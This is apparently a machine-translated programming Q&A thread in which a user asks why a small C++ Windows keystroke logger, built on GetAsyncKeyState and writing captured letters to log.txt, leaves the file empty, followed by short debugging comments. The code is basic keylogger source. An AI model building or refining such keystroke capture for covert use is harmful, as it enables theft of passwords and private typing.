我正在使用代码块中的GNU GCC编译器编译此代码,但由于某些原因,它创建的日志文件无论如何都保持为空。任何想法,为什么这可能是?将密钥输入写入文件
#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>
using namespace std;
int i;
string s;
int main()
{
ofstream log;
log.open("log.txt");
while (!GetAsyncKeyState(VK_F8)) {
for (i=65; i<90; i++) {
if (GetAsyncKeyState(i)) {
s+=i;
}
Sleep(10);
}
if (GetAsyncKeyState(VK_SPACE)) {
s+=" ";
}
}
log << s;
log.close();
cin.get();
}
你期望什么's + = i;'给定's'是一个字符串而'i'是一个'int'? –
您是否尝试在日志中输出* something *?就像测试把'log <<“TEST”;'放在某处。 – jli
即使我包含log <<“TEST”之类的东西,也不会写入文件 –